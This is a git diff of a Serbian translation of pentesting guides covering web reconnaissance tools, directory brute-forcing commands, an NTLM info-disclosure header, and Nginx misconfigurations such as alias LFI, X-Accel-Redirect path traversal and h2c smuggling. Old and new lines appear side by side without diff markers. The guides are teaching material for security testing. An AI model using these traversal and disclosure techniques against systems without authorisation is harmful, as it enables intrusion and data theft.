[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** veb sajtovi za bezbednosne probleme. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **ili** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@ -189,7 +189,7 @@ Web serveri mogu **nepredvidivo reagovati** kada im se šalju čudni podaci. Ovo
* Pristupite **lažnim stranicama** kao što su /whatever\_fake.php (.aspx,.html,.etc)
* **Dodajte "\[]", "]]", i "\[\["** u **vrednosti kolačića** i **vrednosti parametara** da biste izazvali greške
* Generišite grešku tako što ćete dati unos kao **`/~randomthing/%s`** na **kraj** **URL-a**
* Generišite grešku tako što ćete uneti **`/~randomthing/%s`** na **kraj** **URL-a**
* Pokušajte sa **različitim HTTP metodama** kao što su PATCH, DEBUG ili pogrešnim kao FAKE
#### **Proverite da li možete da otpremite fajlove (**[**PUT metod, WebDav**](put-method-webdav.md)**)**
@ -204,7 +204,7 @@ Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **ot
* Ako aplikacija **ne prisiljava korisnika na HTTPS** u bilo kojem delu, onda je **ranjiva na MitM**
* Ako aplikacija **šalje osetljive podatke (lozinke) koristeći HTTP**. Tada je to visoka ranjivost.
Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za proveru **ranjivosti** (U Bug Bounty programima verovatno ove vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv**](https://github.com/hahwul/a2sv) za ponovnu proveru ranjivosti:
Koristite [**testssl.sh**](https://github.com/drwetter/testssl.sh) za proveru **ranjivosti** (u Bug Bounty programima verovatno ove vrste ranjivosti neće biti prihvaćene) i koristite [**a2sv**](https://github.com/hahwul/a2sv) za ponovnu proveru ranjivosti:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -231,8 +231,8 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
* [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl).
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i navesti ih.
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih puteva u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec nine.
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretraživanje novih puteva u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec ninje.
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript datoteka. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan.
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući datoteku (HTML) iz nje će izvući URL-ove koristeći pametnu regularnu ekspresiju za pronalaženje i ekstrakciju relativnih URL-ova iz ružnih (minify) datoteka.
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupi zanimljive informacije iz JS datoteka koristeći nekoliko alata.
@ -252,13 +252,13 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
### Brute Force directories and files
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-force-ujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** putem **Spidering-a** (možete ovo brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** od strane **Spidering-a** (možete ovo brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\
Alati:
* **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava automatski potpisane sertifikate, ali** dozvoljava rekurzivnu pretragu.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava automatski potpisane sertifikate, **nema** **rekurzivnu** pretragu.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Brz, podržava rekurzivnu pretragu.**
* **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivno pretraživanje. Previše sporo u poređenju sa drugim opcijama.
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava automatski potpisane sertifikate, ali** dozvoljava rekurzivno pretraživanje.
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava automatski potpisane sertifikate, **nema** **rekurzivno** pretraživanje.
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Brz, podržava rekurzivno pretraživanje.**
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
* [**ffuf** ](https://github.com/ffuf/ffuf)- Brz: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
* [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider, već alat koji, dajući listu pronađenih URL-ova, briše "duplikate" URL-ova.
@ -285,13 +285,13 @@ Alati:
* _/usr/share/wordlists/dirb/big.txt_
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Force-ovati._
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forcovati._
### What to check on each file found
* [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Pronađite pokvarene linkove unutar HTML-a koji mogu biti podložni preuzimanju.
* **Backup datoteke**: Kada pronađete sve datoteke, potražite backup svih izvršnih datoteka ("_.php_", "_.aspx_"...). Uobičajene varijacije za imenovanje backup-a su: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp i file.old._ Takođe možete koristiti alat [**bfac**](https://github.com/mazen160/bfac) **ili** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
* **Otkrijte nove parametre**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre u svakoj izvršnoj web datoteci.
* **Otkrivanje novih parametara**: Možete koristiti alate kao što su [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **i** [**Param Miner**](https://github.com/PortSwigger/param-miner) **za otkrivanje skrivenih parametara. Ako možete, mogli biste pokušati da pretražujete** skrivene parametre u svakoj izvršnoj web datoteci.
* _Arjun svi podrazumevani rečnici:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
* _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
* _Assetnote “parameters\_top\_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
@ -299,7 +299,7 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a i
* **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**.
* Ako se igrate **CTF**, "uobičajen" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
* **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
* Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-je ključ može pristupiti.
* Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti.
* **S3 Buckets**: Tokom spidering-a proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/).
### Special findings
@ -312,8 +312,8 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a i
* [Ako pronađete _**.git**_ datoteku, neka informacija može biti ekstraktovana](git.md).
* Ako pronađete _**.env**_ informacije kao što su API ključevi, lozinke baza podataka i druge informacije mogu se pronaći.
* Ako pronađete **API krajnje tačke** [trebalo bi ih takođe testirati](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
* **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
* Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li su ranjive.
* **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu ekstraktovati puteve iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
* Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li je ranjiva.
* **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
* **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
* **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://ooze.ninja/javascript/poisonjs/](https://ooze.ninja/javascript/poisonjs/)).
@ -329,12 +329,12 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a i
**502 Proxy Error**
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
Ako neka stranica **odgovara** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
**NTLM Authentication - Info disclosure**
Ako server koji radi traži autentifikaciju je **Windows** ili pronađete prijavu koja traži vaše **akreditive** (i traži **ime** **domena**), možete izazvati **otkrivanje informacija**.\
**Pošaljite** **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM autentifikacija funkcioniše**, server će odgovoriti sa internim informacijama (IIS verzija, Windows verzija...) unutar header-a "WWW-Authenticate".\
**Pošaljite** **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` i zbog načina na koji **NTLM autentifikacija funkcioniše**, server će odgovoriti sa internim informacijama (verzija IIS-a, verzija Windows-a...) unutar header-a "WWW-Authenticate".\
Možete **automatizovati** ovo koristeći **nmap plugin** "_http-ntlm-info.nse_".
**HTTP Redirect (CTF)**
@ -357,13 +357,13 @@ Pronađite više informacija o web ranjivostima na:
### Monitor Pages for changes
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica zbog modifikacija koje bi mogle umetnuti ranjivosti.
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica zbog modifikacija koje bi mogle uvesti ranjivosti.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
## Nedostaje root lokacija <a href="#missing-root-location" id="missing-root-location"></a>
Kada konfigurišete Nginx server, **root direktiva** igra ključnu ulogu definišući osnovni direktorijum iz kojeg se serviraju fajlovi. Razmotrite primer ispod:
```bash
@ -38,17 +38,17 @@ proxy_pass http://127.0.0.1:8080/;
```
U ovoj konfiguraciji, `/etc/nginx` je označen kao korenski direktorijum. Ova postavka omogućava pristup datotekama unutar specificiranog korenskog direktorijuma, kao što je `/hello.txt`. Međutim, važno je napomenuti da je definisana samo određena lokacija (`/hello.txt`). Nema konfiguracije za korensku lokaciju (`location / {...}`). Ova propuštena konfiguracija znači da se korenska direktiva primenjuje globalno, omogućavajući zahteve za korenskim putem `/` da pristupe datotekama pod `/etc/nginx`.
Kritična bezbednosna razmatranja proizilaze iz ove konfiguracije. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije tako što bi poslužio Nginx konfiguracionu datoteku smeštenu na `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi umanjiti ovaj rizik, ali i dalje može omogućiti nepredviđeni pristup drugim kritičnim datotekama, uključujući druge konfiguracione datoteke, logove pristupa, pa čak i šifrovane akreditive korišćene za HTTP osnovnu autentifikaciju.
Kritična bezbednosna razmatranja proizilaze iz ove konfiguracije. Jednostavan `GET` zahtev, poput `GET /nginx.conf`, mogao bi otkriti osetljive informacije tako što bi poslužio Nginx konfiguracionu datoteku smeštenu na `/etc/nginx/nginx.conf`. Postavljanje korena na manje osetljiv direktorijum, poput `/etc`, moglo bi smanjiti ovaj rizik, ali i dalje može omogućiti nepredviđeni pristup drugim kritičnim datotekama, uključujući druge konfiguracione datoteke, logove pristupa, pa čak i šifrovane akreditive korišćene za HTTP osnovnu autentifikaciju.
## Alias LFI Misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
U konfiguracionim datotekama Nginx-a, bliska inspekcija je neophodna za "location" direktive. Ranljivost poznata kao Local File Inclusion (LFI) može biti nenamerno uvedena kroz konfiguraciju koja podseća na sledeću:
U konfiguracionim datotekama Nginx-a, bliska inspekcija je neophodna za "location" direktive. Ranljivost poznata kao Local File Inclusion (LFI) može biti nenamerno uvedena kroz konfiguraciju koja podseća na sledeće:
```
location /imgs {
alias /path/images/;
}
```
Ova konfiguracija je podložna LFI napadima zbog toga što server interpretira zahteve kao što je `/imgs../flag.txt` kao pokušaj pristupa datotekama van predviđene direktorijuma, što se efektivno rešava na `/path/images/../flag.txt`. Ova greška omogućava napadačima da preuzmu datoteke iz datotečnog sistema servera koje ne bi trebale biti dostupne putem veba.
Ova konfiguracija je podložna LFI napadima zbog toga što server interpretira zahteve poput `/imgs../flag.txt` kao pokušaj pristupa datotekama van predviđene direktorijuma, što se efektivno rešava na `/path/images/../flag.txt`. Ova greška omogućava napadačima da preuzmu datoteke iz datotečnog sistema servera koje ne bi trebale biti dostupne putem veba.
Da bi se ublažila ova ranjivost, konfiguracija bi trebala biti prilagođena na:
```
@ -82,18 +82,18 @@ deny all;
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
{% endcontent-ref %}
## Nepravilna upotreba varijabli / HTTP Request Splitting <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
## Nepravilna upotreba varijabli / Deljenje HTTP zahteva <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
{% hint style="danger" %}
Ranljive varijable `$uri` i `$document_uri` i ovo se može ispraviti zamenom sa `$request_uri`.
Regex može biti takođe ranjiv kao:
Regex može takođe biti ranjiv kao:
`location ~ /docs/([^/])? { … $1 … }` - Ranljivo&#x20;
`location ~ /docs/([^/])? { … $1 … }` - Ranjiv&#x20;
`location ~ /docs/([^/\s])? { … $1 … }` - Nije ranjivo (proverava razmake)
`location ~ /docs/([^/\s])? { … $1 … }` - Nije ranjiv (proverava razmake)
`location ~ /docs/(.*)? { … $1 … }` - Nije ranjivo
`location ~ /docs/(.*)? { … $1 … }` - Nije ranjiv
{% endhint %}
Ranjivost u Nginx konfiguraciji je prikazana u sledećem primeru:
@ -158,7 +158,7 @@ Skeneri za ovu pogrešnu konfiguraciju širom sistema otkrili su više instanci
## Čitanje sirovog odgovora backend-a
Nginx nudi funkciju putem `proxy_pass` koja omogućava presretanje grešaka i HTTP zaglavlja koja proizvodi backend, sa ciljem da sakrije interne poruke o greškama i zaglavlja. To se postiže tako što Nginx služi prilagođene stranice grešaka kao odgovor na greške backend-a. Međutim, izazovi se javljaju kada Nginx naiđe na nevažeći HTTP zahtev. Takav zahtev se prosleđuje backend-u onako kako je primljen, a sirovi odgovor backend-a se zatim direktno šalje klijentu bez intervencije Nginx-a.
Nginx nudi funkciju kroz `proxy_pass` koja omogućava presretanje grešaka i HTTP zaglavlja koja proizvodi backend, sa ciljem da sakrije interne poruke o greškama i zaglavlja. To se postiže tako što Nginx služi prilagođene stranice grešaka kao odgovor na greške backend-a. Međutim, izazovi se javljaju kada Nginx naiđe na nevažeći HTTP zahtev. Takav zahtev se prosleđuje backend-u onako kako je primljen, a sirovi odgovor backend-a se zatim direktno šalje klijentu bez intervencije Nginx-a.
Razmotrite primer scenarija koji uključuje uWSGI aplikaciju:
```python
@ -174,16 +174,16 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ova direktiva omogućava Nginxu da pruži prilagođeni odgovor za pozadinske odgovore sa status kodom većim od 300. Osigurava da, za naš primer uWSGI aplikacije, odgovor `500 Error` bude presretnut i obrađen od strane Nginxa.
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Ova direktiva omogućava Nginxu da servira prilagođeni odgovor za pozadinske odgovore sa status kodom većim od 300. Osigurava da, za naš primer uWSGI aplikacije, `500 Error` odgovor bude presretnut i obrađen od strane Nginxa.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Kao što ime sugeriše, ova direktiva skriva određene HTTP zaglavlja od klijenta, poboljšavajući privatnost i sigurnost.
Kada se izvrši važeći `GET` zahtev, Nginx ga obrađuje normalno, vraćajući standardni odgovor o grešci bez otkrivanja bilo kakvih tajnih zaglavlja. Međutim, nevažeći HTTP zahtev zaobilazi ovaj mehanizam, što rezultira izlaganjem sirovih pozadinskih odgovora, uključujući tajna zaglavlja i poruke o grešci.
Kada se izvrši validan `GET` zahtev, Nginx ga obrađuje normalno, vraćajući standardni odgovor o grešci bez otkrivanja bilo kakvih tajnih zaglavlja. Međutim, nevalidan HTTP zahtev zaobilazi ovaj mehanizam, što rezultira izlaganjem sirovih pozadinskih odgovora, uključujući tajna zaglavlja i poruke o grešci.
## merge\_slashes postavljeno na off
Podrazumevano, Nginxova **`merge_slashes` direktiva** je postavljena na **`on`**, što kompresuje više uzastopnih kose crte u URL-u u jednu kosu crtu. Ova funkcija, iako pojednostavljuje obradu URL-a, može nenamerno prikriti ranjivosti u aplikacijama iza Nginxa, posebno onima koje su podložne napadima lokalnog uključivanja datoteka (LFI). Stručnjaci za bezbednost **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanjem, posebno kada Nginx deluje kao obrnuti proxy.
Podrazumevano, Nginxova **`merge_slashes` direktiva** je postavljena na **`on`**, što kompresuje više uzastopnih kose crte u URL-u u jednu kosu crtu. Ova funkcija, iako pojednostavljuje obradu URL-a, može nenamerno prikriti ranjivosti u aplikacijama iza Nginxa, posebno onima koje su podložne napadima lokalnog uključivanja datoteka (LFI). Bezbednosni stručnjaci **Danny Robinson i Rotem Bar** su istakli potencijalne rizike povezane sa ovim podrazumevanjem, posebno kada Nginx deluje kao reverzni proxy.
Da bi se umanjili takvi rizici, preporučuje se **isključivanje `merge_slashes` direktive** za aplikacije koje su podložne ovim ranjivostima. To osigurava da Nginx prosledi zahteve aplikaciji bez izmene strukture URL-a, čime se ne prikrivaju nikakvi osnovni bezbednosni problemi.
Da bi se umanjili takvi rizici, preporučuje se da se **isključi `merge_slashes` direktiva** za aplikacije koje su podložne ovim ranjivostima. Ovo osigurava da Nginx prosledi zahteve aplikaciji bez izmene strukture URL-a, čime se ne prikrivaju nikakvi osnovni bezbednosni problemi.
Za više informacija pogledajte [Danny Robinson i Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
@ -192,12 +192,12 @@ Za više informacija pogledajte [Danny Robinson i Rotem Bar](https://medium.com/
Kao što je prikazano u [**ovoj analizi**](https://mizu.re/post/cors-playground), postoje određena zaglavlja koja, ako su prisutna u odgovoru sa web servera, mogu promeniti ponašanje Nginx proxy-a. Možete ih proveriti [**u dokumentaciji**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
* `X-Accel-Redirect`: Ukazuje Nginxu da interno preusmeri zahtev na određenu lokaciju.
* `X-Accel-Buffering`: Kontroliše da li Nginx treba da kešira odgovor ili ne.
* `X-Accel-Buffering`: Kontroliše da li Nginx treba da baferuje odgovor ili ne.
* `X-Accel-Charset`: Postavlja karakter set za odgovor kada se koristi X-Accel-Redirect.
* `X-Accel-Expires`: Postavlja vreme isteka za odgovor kada se koristi X-Accel-Redirect.
* `X-Accel-Limit-Rate`: Ograničava brzinu prenosa za odgovore kada se koristi X-Accel-Redirect.
Na primer, zaglavlje **`X-Accel-Redirect`** će izazvati interno **preusmeravanje** u Nginxu. Tako da imati Nginx konfiguraciju sa nečim poput **`root /`** i odgovorom sa web servera sa **`X-Accel-Redirect: .env`** će naterati Nginx da pošalje sadržaj **`/.env`** (Path Traversal).
Na primer, zaglavlje **`X-Accel-Redirect`** će izazvati interno **preusmerenje** u Nginxu. Tako da imati Nginx konfiguraciju sa nečim poput **`root /`** i odgovorom sa web servera sa **`X-Accel-Redirect: .env`** će nagnati Nginx da pošalje sadržaj **`/.env`** (Path Traversal).
### **Default Value in Map Directive**
@ -234,7 +234,7 @@ Direktiva **`proxy_pass`** se koristi za preusmeravanje zahteva na druge servere
## proxy\_set\_header Upgrade & Connection
Ako je nginx server konfigurisan da prosledi Upgrade i Connection zaglavlja, može se izvesti [**h2c Smuggling napad**](../../pentesting-web/h2c-smuggling.md) kako bi se pristupilo zaštićenim/internim krajnjim tačkama.
Ako je nginx server konfigurisan da prosledi Upgrade i Connection zaglavlja, može se izvršiti [**h2c Smuggling napad**](../../pentesting-web/h2c-smuggling.md) kako bi se pristupilo zaštićenim/internim krajnjim tačkama.
{% hint style="danger" %}
Ova ranjivost bi omogućila napadaču da **uspostavi direktnu vezu sa `proxy_pass` krajnjom tačkom** (`http://backend:9999` u ovom slučaju) čiji sadržaj neće biti proveravan od strane nginx-a.
@ -288,9 +288,9 @@ Nginxpwner je jednostavan alat za traženje uobičajenih Nginx pogrešnih konfig
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu**
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje površine napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku**
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
@ -39,9 +39,9 @@ Lokacije:
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Bypassing PHP comparisons
## Zaobilaženje PHP upoređivanja
### Loose comparisons/Type Juggling ( == )
### Labava upoređivanja/Prebacivanje tipova ( == )
